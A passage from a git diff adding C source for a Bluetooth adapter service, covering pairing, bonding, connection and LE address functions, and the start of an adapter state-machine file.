adapter_get_device_class(void) +{ + adapter_service_t* adapter = &g_adapter_service; + uint32_t cod; + + adapter_lock(); + cod = adapter->properties.class_of_device; + adapter_unlock(); + + return cod; +} + +bt_status_t adapter_set_io_capability(bt_io_capability_t cap) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_status_t status = BT_STATUS_SUCCESS; + + adapter_lock(); + CHECK_ADAPTER_READY(); + if (adapter->properties.io_capability == cap) + goto error; + + status = bt_sal_set_io_capability(PRIMARY_ADAPTER, cap); + if (status != BT_STATUS_SUCCESS) + goto error; + + adapter->properties.io_capability = cap; + adapter_save_properties(); + +error: + adapter_unlock(); + return status; +} + +bt_io_capability_t adapter_get_io_capability(void) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_io_capability_t cap; + + adapter_lock(); + cap = adapter->properties.io_capability; + adapter_unlock(); + + return cap; +} + +bt_status_t adapter_set_inquiry_scan_parameters(bt_scan_type_t type, + uint16_t interval, + uint16_t window) +{ + return bt_sal_set_inquiry_scan_parameters(PRIMARY_ADAPTER, type, interval, window); +} + +bt_status_t adapter_set_page_scan_parameters(bt_scan_type_t type, + uint16_t interval, + uint16_t window) +{ + return bt_sal_set_page_scan_parameters(PRIMARY_ADAPTER, type, interval, window); +} + +bt_status_t adapter_get_le_address(bt_address_t* addr, ble_addr_type_t* type) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + memcpy(addr, &adapter->le_properties.addr, sizeof(*addr)); + *type = adapter->le_properties.addr_type; + /* TODO notify properties changed */ + adapter_unlock(); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_set_le_address(bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + return bt_sal_le_set_address(PRIMARY_ADAPTER, addr); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_set_le_identity_address(bt_address_t* addr, bool is_public) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + // adapter_service_t *adapter = &g_adapter_service; + if (is_public) + bt_sal_le_set_public_identity(PRIMARY_ADAPTER, addr); + else + bt_sal_le_set_static_identity(PRIMARY_ADAPTER, addr); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_set_le_io_capability(uint32_t le_io_cap) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + adapter->le_properties.le_io_capability = le_io_cap; + /* TODO update storage */ + /* TODO notify properties changed */ + adapter_unlock(); + bt_sal_le_set_io_capability(PRIMARY_ADAPTER, le_io_cap); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +uint32_t adapter_get_le_io_capability(void) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + uint32_t cap; + + adapter_lock(); + cap = adapter->le_properties.le_io_capability; + adapter_unlock(); + + return cap; +#else + return 0; +#endif +} + +static bt_status_t adapter_set_pts_mode(bool enable) +{ + adapter_service_t* adapter = &g_adapter_service; + + BT_LOGD("%s, enable:%d", __func__, enable); + + adapter_lock(); + adapter->is_pts_mode = enable; + adapter_unlock(); + + return BT_STATUS_SUCCESS; +} + +bool adapter_get_pts_mode(void) +{ + adapter_service_t* adapter = &g_adapter_service; + bool is_pts_mode; + + adapter_lock(); + is_pts_mode = adapter->is_pts_mode; + adapter_unlock(); + + return is_pts_mode; +} + +bt_status_t adapter_set_debug_mode(bt_debug_mode_t mode, uint8_t operation) +{ + switch (mode) { + case BT_DEBUG_MODE_PTS: { + adapter_set_pts_mode(operation); + } break; + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_set_le_appearance(uint16_t appearance) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + bt_status_t status = bt_sal_le_set_appearance(PRIMARY_ADAPTER, appearance); + if (status != BT_STATUS_SUCCESS) { + adapter_unlock(); + return status; + } + + adapter->le_properties.le_appearance = appearance; + /* TODO update storage */ + /* TODO notify properties changed */ + adapter_unlock(); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +uint16_t adapter_get_le_appearance(void) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + uint16_t appearance; + + adapter_lock(); + appearance = adapter->le_properties.le_appearance; + adapter_unlock(); + + return appearance; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +static bt_status_t adapter_get_devices(int flag, bt_address_t** addr, int* size, bt_allocator_t allocator, uint8_t transport) +{ + bt_list_t* list; + bt_list_node_t* node; + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) { + list = g_adapter_service.le_devices; + } else +#endif +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) { + list = g_adapter_service.devices; + } else +#endif + { + return BT_STATUS_PARM_INVALID; + } + + *size = 0; + adapter_lock(); + int cnt = get_devices_cnt(flag, transport); + if (!cnt) { + adapter_unlock(); + return BT_STATUS_SUCCESS; + } + + if (!allocator((void**)addr, sizeof(bt_address_t) * cnt)) { + adapter_unlock(); + return BT_STATUS_NOMEM; + } + + *size = cnt; + cnt = 0; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + if ((flag == DFLAG_BONDED && device_is_bonded(device)) || (flag == DFLAG_CONNECTED && device_is_connected(device))) { + memcpy(*addr + cnt, device_get_address(device), sizeof(bt_address_t)); + cnt++; + } + } + adapter_unlock(); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_get_bonded_devices(bt_transport_t transport, bt_address_t** addr, int* size, bt_allocator_t allocator) +{ + return adapter_get_devices(DFLAG_BONDED, addr, size, allocator, transport); +} + +bt_status_t adapter_get_connected_devices(bt_transport_t transport, bt_address_t** addr, int* size, bt_allocator_t allocator) +{ + return adapter_get_devices(DFLAG_CONNECTED, addr, size, allocator, transport); +} + +/* + +bt_device_t *adapter_get_remote_device(bt_address_t *addr) +{ + +} +*/ + +bool adapter_is_support_bredr(void) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + return true; +#endif + return false; +} + +bool adapter_is_support_le(void) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + return true; +#endif + return false; +} + +bool adapter_is_support_leaudio(void) +{ +#ifdef CONFIG_BLUETOOTH_LE_AUDIO_SUPPORT + return true; +#endif + return false; +} + +bt_status_t adapter_get_remote_identity_address(bt_address_t* bd_addr, bt_address_t* id_addr) +{ + bt_device_t* device; + bt_address_t* identity_addr; + + adapter_lock(); + device = adapter_find_device(bd_addr, BT_TRANSPORT_BLE); + if (device == NULL) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + identity_addr = device_get_identity_address(device); + if (bt_addr_is_empty(identity_addr)) { + adapter_unlock(); + return BT_STATUS_NOT_FOUND; + } + + memcpy(id_addr, identity_addr, sizeof(bt_address_t)); + adapter_unlock(); + return BT_STATUS_SUCCESS; +} + +bt_device_type_t adapter_get_remote_device_type(bt_address_t* addr) +{ + bt_device_t* device; + bt_device_type_t device_type = 0; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device != NULL) { + device_type |= device_get_device_type(device); + device_type |= BT_DEVICE_TYPE_BREDR; + } + + device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (device != NULL) { + device_type |= device_get_device_type(device); + device_type |= BT_DEVICE_TYPE_BLE; + } + adapter_unlock(); + + return device_type; +} + +bool adapter_get_remote_name(bt_address_t* addr, char* name) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device == NULL) { + adapter_unlock(); + return false; + } + + memcpy(name, device_get_name(device), BT_REM_NAME_MAX_LEN); + adapter_unlock(); + return true; +} + +uint32_t adapter_get_remote_device_class(bt_address_t* addr) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device == NULL) { + adapter_unlock(); + return 0; + } + + uint32_t cod = device_get_device_class(device); + adapter_unlock(); + + return cod; +} + +bt_status_t adapter_get_remote_uuids(bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator) +{ + bt_device_t* device; + + *size = 0; + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device == NULL) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + *size = device_get_uuids_size(device); + if (*size == 0) { + adapter_unlock(); + return BT_STATUS_SUCCESS; + } + + if (!allocator((void**)uuids, sizeof(bt_uuid_t) * (*size))) { + adapter_unlock(); + return BT_STATUS_NOMEM; + } + + *size = device_get_uuids(device, *uuids, *size); + adapter_unlock(); + + return BT_STATUS_SUCCESS; +} + +uint16_t adapter_get_remote_appearance(bt_address_t* addr) +{ + return 0; +} + +int8_t adapter_get_remote_rssi(bt_address_t* addr) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device == NULL) { + adapter_unlock(); + return 0; + } + + int8_t rssi = device_get_rssi(device); + adapter_unlock(); + + return rssi; +} + +bool adapter_get_remote_alias(bt_address_t* addr, char* alias) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device == NULL) { + adapter_unlock(); + return false; + } + + strncpy(alias, device_get_alias(device), BT_REM_NAME_MAX_LEN); + adapter_unlock(); + return true; +} + +bt_status_t adapter_set_remote_alias(bt_address_t* addr, const char* alias) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device == NULL) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + device_set_alias(device, alias); + adapter_unlock(); + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_remote_alias_changed, addr, alias); + + return BT_STATUS_SUCCESS; +} + +bool adapter_is_remote_connected(bt_address_t* addr, bt_transport_t transport) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, transport); + if (device == NULL) { + adapter_unlock(); + return false; + } + + bool connected = device_is_connected(device); + adapter_unlock(); + + return connected; +} + +bool adapter_is_remote_encrypted(bt_address_t* addr, bt_transport_t transport) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, transport); + if (device == NULL) { + adapter_unlock(); + return false; + } + + bool enc = device_is_encrypted(device); + adapter_unlock(); + + return enc; +} + +bool adapter_is_bond_initiate_local(bt_address_t* addr, bt_transport_t transport) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, transport); + if (device == NULL) { + adapter_unlock(); + return false; + } + + bool isbondlocal = device_is_bond_initiate_local(device); + adapter_unlock(); + + return isbondlocal; +} + +bond_state_t adapter_get_remote_bond_state(bt_address_t* addr, bt_transport_t transport) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, transport); + if (device == NULL) { + adapter_unlock(); + return BOND_STATE_NONE; + } + + bond_state_t state = device_get_bond_state(device); + adapter_unlock(); + + return state; +} + +bool adapter_is_remote_bonded(bt_address_t* addr, bt_transport_t transport) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, transport); + if (device == NULL) { + adapter_unlock(); + return false; + } + + bool bonded = device_is_bonded(device); + adapter_unlock(); + + return bonded; +} + +bt_status_t adapter_connect(bt_address_t* addr) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + if (bt_sal_connect(PRIMARY_ADAPTER, addr) != BT_STATUS_SUCCESS) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + device_set_connection_state(device, CONNECTION_STATE_CONNECTING); + adapter_unlock(); + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_disconnect(bt_address_t* addr) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + if (device_get_connection_state(device) == CONNECTION_STATE_DISCONNECTED || device_get_connection_state(device) == CONNECTION_STATE_DISCONNECTING) { + adapter_unlock(); + return BT_STATUS_BUSY; + } + + if (bt_sal_disconnect(PRIMARY_ADAPTER, addr, + HCI_ERR_CONNECTION_TERMINATED_BY_LOCAL_HOST) + != BT_STATUS_SUCCESS) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + device_set_connection_state(device, CONNECTION_STATE_DISCONNECTING); + adapter_unlock(); + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_disconnect_safe(void) +{ + bt_device_t* device; + bt_list_node_t* node; + adapter_service_t* adapter = &g_adapter_service; + + /* check acls connection is all disconnected in safe disable mode */ + if (adapter_check_acl_all_disconnected()) { + send_to_state_machine((state_machine_t*)adapter->stm, BREDR_ACL_ALL_DISCONNECTED, NULL); + return BT_STATUS_SUCCESS; + } + + for (node = bt_list_head(g_adapter_service.devices); node != NULL; node = bt_list_next(g_adapter_service.devices, node)) { + device = (bt_device_t*)bt_list_node(node); + adapter_disconnect(device_get_address(device)); + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_le_connect(bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_device_t* device; + + adapter_lock(); + device = adapter_find_create_le_device(addr, type); + if (bt_sal_le_connect(PRIMARY_ADAPTER, addr, type, param) != BT_STATUS_SUCCESS) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + device_set_connection_state(device, CONNECTION_STATE_CONNECTING); + adapter_unlock(); + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_disconnect(bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_device_t* device; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + if (device_get_connection_state(device) == CONNECTION_STATE_DISCONNECTED || device_get_connection_state(device) == CONNECTION_STATE_DISCONNECTING) { + adapter_unlock(); + return BT_STATUS_BUSY; + } + + if (bt_sal_le_disconnect(PRIMARY_ADAPTER, addr) != BT_STATUS_SUCCESS) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + device_set_connection_state(device, CONNECTION_STATE_DISCONNECTING); + adapter_unlock(); + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_connect_request_reply(bt_address_t* addr, bool accept) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + adapter_unlock(); + bt_status_t status; + status = bt_sal_acl_connection_reply(PRIMARY_ADAPTER, addr, accept); + if (status == BT_STATUS_SUCCESS && accept) { + device_set_connection_state(device, CONNECTION_STATE_CONNECTING); + } + + return status; +} + +bt_status_t adapter_le_set_phy(bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + adapter_unlock(); + + return bt_sal_le_set_phy(PRIMARY_ADAPTER, addr, tx_phy, rx_phy); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_enable_key_derivation(bool brkey_to_lekey, + bool lekey_to_brkey) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + return bt_sal_le_enable_key_derivation(PRIMARY_ADAPTER, brkey_to_lekey, lekey_to_brkey); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_add_whitelist(bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + bt_device_t* device; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + adapter_lock(); + if (adapter->adapter_state != BT_ADAPTER_STATE_ON) { + adapter_unlock(); + return BT_STATUS_NOT_ENABLED; + } + + device = adapter_find_create_le_device(addr, BT_LE_ADDR_TYPE_PUBLIC); + if (!device) { + adapter_unlock(); + return BT_STATUS_NOMEM; + } + + if (device_check_flag(device, DFLAG_WHITELIST_ADDED)) { + adapter_unlock(); + return BT_STATUS_SUCCESS; + } + + adapter_unlock(); + + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s, %s", __func__, addr_str); + + return bt_sal_le_add_white_list(PRIMARY_ADAPTER, addr, device_get_address_type(device)); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_remove_whitelist(bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + bt_device_t* device; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + adapter_lock(); + if (adapter->adapter_state != BT_ADAPTER_STATE_ON) { + adapter_unlock(); + return BT_STATUS_NOT_ENABLED; + } + + device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + if (!device_check_flag(device, DFLAG_WHITELIST_ADDED)) { + adapter_unlock(); + return BT_STATUS_SUCCESS; + } + + adapter_unlock(); + + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s, %s", __func__, addr_str); + + return bt_sal_le_remove_white_list(PRIMARY_ADAPTER, addr, device_get_address_type(device)); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_set_bondable(bool bondable) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + if ((adapter->adapter_state != BT_ADAPTER_STATE_ON) + && (adapter->adapter_state != BT_ADAPTER_STATE_BLE_ON)) { + adapter_unlock(); + return BT_STATUS_NOT_ENABLED; + } + + adapter_unlock(); + return bt_sal_le_set_bondable(PRIMARY_ADAPTER, bondable); +} + +bt_status_t adapter_set_security_level(uint8_t level, bt_transport_t transport) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + if ((adapter->adapter_state != BT_ADAPTER_STATE_ON) + && (adapter->adapter_state != BT_ADAPTER_STATE_BLE_ON)) { + adapter_unlock(); + return BT_STATUS_NOT_ENABLED; + } + + adapter_unlock(); + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) { + return bt_sal_le_set_security_level(PRIMARY_ADAPTER, level); + } +#endif + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) { + return bt_sal_set_security_level(PRIMARY_ADAPTER, level); + } +#endif + + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t adapter_create_bond(bt_address_t* addr, bt_transport_t transport) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_device_t* device; + + adapter_lock(); + if (adapter->adapter_state != BT_ADAPTER_STATE_ON) { + adapter_unlock(); + return BT_STATUS_NOT_ENABLED; + } + + if (adapter->is_discovering) + bt_sal_stop_discovery(PRIMARY_ADAPTER); + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) + device = adapter_find_create_classic_device(addr); + else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) { + device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + } else +#endif + { + adapter_unlock(); + return BT_STATUS_PARM_INVALID; + } + + if (device_get_bond_state(device) != BOND_STATE_NONE) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + adapter_unlock(); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) + return bt_sal_create_bond(PRIMARY_ADAPTER, addr, transport, device_get_address_type(device)); + else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) + return bt_sal_le_create_bond(PRIMARY_ADAPTER, addr, device_get_address_type(device)); + else +#endif + return BT_STATUS_PARM_INVALID; +} + +bt_status_t adapter_remove_bond(bt_address_t* addr, uint8_t transport) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, transport); + if (!device || device_get_bond_state(device) != BOND_STATE_BONDED) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + device_set_bond_state(device, BOND_STATE_NONE, false, adapter_notify_bond_state); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) { + device_delete_link_key(device); + bt_sal_remove_bond(PRIMARY_ADAPTER, addr, transport); + /* remove bond device form storage */ + adapter_update_bonded_device(); + } else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) { + bt_sal_le_remove_bond(PRIMARY_ADAPTER, addr); + } +#endif + + adapter_unlock(); + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_cancel_bond(bt_address_t* addr) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device || device_get_bond_state(device) != BOND_STATE_BONDING) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + bt_status_t status = bt_sal_cancel_bond(PRIMARY_ADAPTER, addr, BT_TRANSPORT_BREDR); + if (status == BT_STATUS_SUCCESS) + device_set_bond_state(device, BOND_STATE_CANCELING, false, NULL); // Filter out the reporting of BOND_STATE_CANCELING. + adapter_unlock(); + + return status; +} + +bt_status_t adapter_pair_request_reply(bt_address_t* addr, bool accept) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + adapter_unlock(); + bt_status_t status; + status = bt_sal_pair_reply(PRIMARY_ADAPTER, addr, accept ? 0 : HCI_ERR_PAIRING_NOT_ALLOWED); + if (status == BT_STATUS_SUCCESS && accept) { + adapter_lock(); + device_set_bond_state(device, BOND_STATE_BONDING, false, adapter_notify_bond_state); + adapter_unlock(); + } + + return status; +} + +bt_status_t adapter_set_pin_code(bt_address_t* addr, bool accept, + char* pincode, int len) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device || device_get_bond_state(device) != BOND_STATE_BONDING) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + adapter_unlock(); + return bt_sal_pin_reply(PRIMARY_ADAPTER, addr, accept, pincode, len); +} + +bt_status_t adapter_set_pairing_confirmation(bt_address_t* addr, uint8_t transport, bool accept) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, transport); + if (!device || device_get_bond_state(device) != BOND_STATE_BONDING) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + adapter_unlock(); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) + return bt_sal_ssp_reply(PRIMARY_ADAPTER, addr, accept, PAIR_TYPE_PASSKEY_CONFIRMATION, 0); + else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) + return bt_sal_le_smp_reply(PRIMARY_ADAPTER, addr, accept, PAIR_TYPE_PASSKEY_CONFIRMATION, 0); + else +#endif + return BT_STATUS_PARM_INVALID; +} + +bt_status_t adapter_set_pass_key(bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, transport); + if (!device || device_get_bond_state(device) != BOND_STATE_BONDING) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + adapter_unlock(); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) + return bt_sal_ssp_reply(PRIMARY_ADAPTER, addr, accept, PAIR_TYPE_PASSKEY_ENTRY, passkey); + else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) + return bt_sal_le_smp_reply(PRIMARY_ADAPTER, addr, accept, PAIR_TYPE_PASSKEY_ENTRY, passkey); + else +#endif + return BT_STATUS_PARM_INVALID; +} + +bt_status_t adapter_le_set_legacy_tk(bt_address_t* addr, bt_128key_t tk_val) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + adapter_unlock(); + return bt_sal_le_set_legacy_tk(PRIMARY_ADAPTER, addr, tk_val); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_set_remote_oob_data(bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + adapter_unlock(); + return bt_sal_le_set_remote_oob_data(PRIMARY_ADAPTER, addr, c_val, r_val); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_le_get_local_oob_data(bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + adapter_unlock(); + return bt_sal_le_get_local_oob_data(PRIMARY_ADAPTER, addr); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t adapter_switch_role(bt_address_t* addr, bt_link_role_t role) +{ + bt_device_t* device; + bt_link_role_t prev_role = BT_LINK_ROLE_UNKNOWN; + + if (role != BT_LINK_ROLE_MASTER && role != BT_LINK_ROLE_SLAVE) + return BT_STATUS_PARM_INVALID; + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device) { + adapter_unlock(); + return BT_STATUS_DEVICE_NOT_FOUND; + } + + prev_role = device_get_local_role(device); + adapter_unlock(); + + if (prev_role != role) + return bt_sal_set_link_role(PRIMARY_ADAPTER, addr, role); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_set_afh_channel_classification(uint16_t central_frequency, + uint16_t band_width, + uint16_t number) +{ + return bt_sal_set_afh_channel_classification(PRIMARY_ADAPTER, central_frequency, band_width, number); +} + +void adapter_get_support_profiles(void) { } + +void adapter_dump(void) +{ +} + +void adapter_dump_device(bt_address_t* addr) +{ +} + +void adapter_dump_profile(enum profile_id id) +{ +} + +void adapter_dump_all_device(void) +{ + bt_list_node_t* node; + bt_list_t* list = g_adapter_service.devices; + BT_LOGD("%s", __func__); + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + device_dump(device); + } + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + list = g_adapter_service.le_devices; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + device_dump(device); + } +#endif +} diff --git a/service/src/adapter_state.c b/service/src/adapter_state.c new file mode 100644 index 0000000000000000000000000000000000000000..8515765032d8b80d5201f3d2e2fc13ebd3162f25 --- /dev/null +++ b/service/src/adapter_state.c @@ -0,0 +1,555 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "adapter_internel.h" +#include "bt_adapter.h" +#include "bt_dfx.h" +#include "btservice.h" +#include "media_system.h" +#include "sal_interface.h" +#include "service_manager.h" +#include "state_machine.h" + +#define LOG_TAG "adapter-stm" +#include "bt_utils.h" +#include "utils/log.h" + +#define DISABLE_SAFE_TIMEOUT (2000) + +static void off_enter(state_machine_t* sm); +static void off_exit(state_machine_t* sm); +static void ble_turning_on_enter(state_machine_t* sm); +static void ble_turning_on_exit(state_machine_t* sm); +static void ble_on_enter(state_machine_t* sm); +static void ble_on_exit(state_machine_t* sm); +static void turning_on_enter(state_machine_t* sm); +static void turning_on_exit(state_machine_t* sm); +static void on_state_enter(state_machine_t* sm); +static void on_state_exit(state_machine_t* sm); +static void turning_off_enter(state_machine_t* sm); +static void turning_off_exit(state_machine_t* sm); +static void ble_turning_off_enter(state_machine_t* sm); +static void ble_turning_off_exit(state_machine_t* sm); + +static bool off_process_event(state_machine_t* 